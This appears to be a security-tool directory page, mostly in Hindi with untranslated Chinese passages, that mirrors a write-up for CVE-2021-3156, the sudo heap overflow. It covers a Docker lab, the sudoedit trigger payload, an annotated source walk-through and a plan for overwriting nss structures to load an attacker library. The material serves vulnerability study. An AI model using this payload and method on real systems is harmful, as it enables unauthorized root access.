Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-3156 — CVE-2021-3156 POC और Docker और विश्लेषण लेख | Kitploit
उपकरण/GitHubGitHub/chenaotian/cve-2021-3156
विशेषाधिकार वृद्धिभेद्यता विश्लेषणकोड विश्लेषणशोषणरिवर्स इंजीनियरिंगडीबगर्सफज़िंगपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
112254 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
chenaotian/cve-2021-3156

CVE-2021-3156

CVE-2021-3156 POC और Docker और विश्लेषण लेख

रिपॉजिटरी देखें

CVE-2021-3156

[toc]

भेद्यता परिचय

भेद्यता संख्या: CVE-2021-3156

भेद्यता स्कोर:

प्रभावित उत्पाद: linux sudo

प्रभावित दायरा: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

शोषण की शर्तें: linux स्थानीय; sudo suid है और चलाया जा सकता है

शोषण प्रभाव: स्थानीय विशेषाधिकार वृद्धि

स्रोत कोड प्राप्ति: https://www.sudo.ws/getting/source/

वातावरण सेटअप

docker वातावरण: chenaotian/cve-2021-3156

मैंने स्वयं docker बनाया है, जिसमें निम्नलिखित उपलब्ध हैं:

  1. स्वयं संकलित, स्रोत-डिबग करने योग्य sudo
  2. डिबग प्रतीकों के साथ glibc
  3. gdb और gdb प्लगइन pwngdb & pwndbg
  4. exp.c और इसका सफलतापूर्वक संकलित exp

सब कुछ /root निर्देशिका में है:

image-20220124223312224

  • exp निर्देशिका वह निर्देशिका है जहाँ exp कोड और संकलित exp स्थित हैं, इसे सीधे इस docker में चलाया जा सकता है
  • glibc-2.27 इस वातावरण में libc संस्करण की स्रोत निर्देशिका है
  • sudo-1.8.21 इस वातावरण में sudo की स्रोत निर्देशिका है, मैंने इसी का उपयोग करके संकलन किया है।

exp का परीक्षण:``` cd exp su test ./exp whoami

डिबगिंग से संबंधित सामग्री के लिए आगे [कुछ डिबगिंग कमांड](#一些调试命令) देखें


## भेद्यता सिद्धांत

भेद्यता ट्रिगर करने वाला payload```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

स्रोत कोड विश्लेषण (sudo-1.8.21): सबसे पहले sudo.c में main फ़ंक्शन (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)

··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

}

- सबसे पहले parse_args फ़ंक्शन को कॉल करके हमारे द्वारा इनपुट किए गए पैरामीटरों को प्रोसेस करते हैं, दरअसल यहाँ हमने केवल एक `-s` इनपुट किया है, सेट करने के लिए कुछ खास नहीं है, sudo_mode को MODE_EDIT और MODE_SHELL पर सेट करते हैं।

- फिर sudo_mode के अंतर के अनुसार, MODE_EDIT policy_check को कॉल करता है

अब sudo.c में policy_check फ़ंक्शन (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

कॉलबैक फ़ंक्शन plugin->u.policy->check_policy को कॉल किया गया, डिबग करके इस फ़ंक्शन के वास्तविक फ़ंक्शन को देखा जा सकता है:

image-20220123113326096

यह policy.c में स्थित sudoers_policy_check फ़ंक्शन को कॉल करता है (policy.c: 760):```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···

exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

}

फिर sudoers.c में sudoers_policy_main फ़ंक्शन को कॉल किया गया (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

यहाँ कुछ ग्लोबल वेरिएबल सेट किए गए हैं, NewArgc और NewArgv नीचे दिए गए हैं, वास्तव में ये पास किए गए पैरामीटर हैं।

image-20220123113819116

इसके बाद sudoers.c में set_cmnd फ़ंक्शन में प्रवेश करें (sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···

/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size, 后续malloc 申请,没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

}

溢出也发生在这里,根据代码中的注释可以看出,堆溢出发生在向堆中拷贝时,这段代码的原意不难理解就是将NewArgv中的所有参数都拷贝到堆中,空格分割,遇到`\+非空格类字符` 则只拷贝该字符。

**但它没有考虑到一种情况就是,某个NewArgv元素是以`\` 结尾,那么就是`\+\x00` 这种结构,而`\x00` 是不属于空格类字符的(离谱),也就是说,它会将`\x00` 拷贝到堆中之后,from 变量再 ++ (一个循环中加了两次)直接过了while 判断结束标记`\x00` 的机会,而认为参数没有拷贝完而继续向后拷贝,直到遇到下一个`\x00` 为止。**

在该场景下可以看到 `\+\x00` 后面紧跟着就是下一个参数 `A*80` 所以会继续拷贝到`A*80` 的结尾。但别忘了接下来还会继续真正处理`A*80` 这个参数,还会再拷贝一遍,所以这里总共对`A*80` 进行了两次拷贝,但chunk 的申请时按照只有一个 `A*80` 字符串的大小申请的,远远超过了chunk 申请的长度。

image-20220123113907744

然后造成溢出,拷贝前:

image-20220123114036691

拷贝后:

image-20220123114137794

总体漏洞触发路径为(调试的时候直接根据这几个函数下断点即可):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## 漏洞利用原理

参考了 [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156) ,**但他的堆布局方式可遇不可求,这里详细分析了堆布局方法**。通过传入环境变量 `LC_*` 来布局堆,然后让溢出的chunk 正好覆盖到 nss_load_library 函数需要加载so 的结构体 service_user,覆盖该结构体中的so 名字符串,然后让程序加载我们指定的so来完成任意代码执行。

虽然逻辑看起来挺清晰,但需要搞定的细节还是比较麻烦的:

1. nss_load_library 中相关数据结构和机制
2. setlocale 如何通过环境变量`LC_*` 进行堆布局

接下来我们将漏洞发生出可以溢出的chunk 称之为vuln chunk,而将溢出的目标称为target chunk

### nss 原理

首先查看漏洞利用关键代码:

glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

ni हीप पर स्थित service_user संरचना है। जब ni->library->lib_handle NULL होता है, तो __libc_dlopen को बुलाकर so लोड किया जाता है। यदि हम ni के हीप ब्लॉक में ओवरफ्लो कर सकते हैं, तो केवल library को 0 से ओवरराइट करना होगा, क्योंकि पहली शाखा में यदि library NULL है, तो इसका मतलब है कि इनिशियलाइज़ नहीं किया गया है, और nss_new_service को library को इनिशियलाइज़ करने के लिए बुलाया जाएगा; अभी-अभी इनिशियलाइज़ किया गया handle निश्चित रूप से NULL होगा।

ठीक है, भेद्यता शोषण के मुख्य ट्रिगर बिंदु को जानने के बाद, आगे nss की कार्यप्रणाली को समझते हैं।

टूल डाउनलोड करें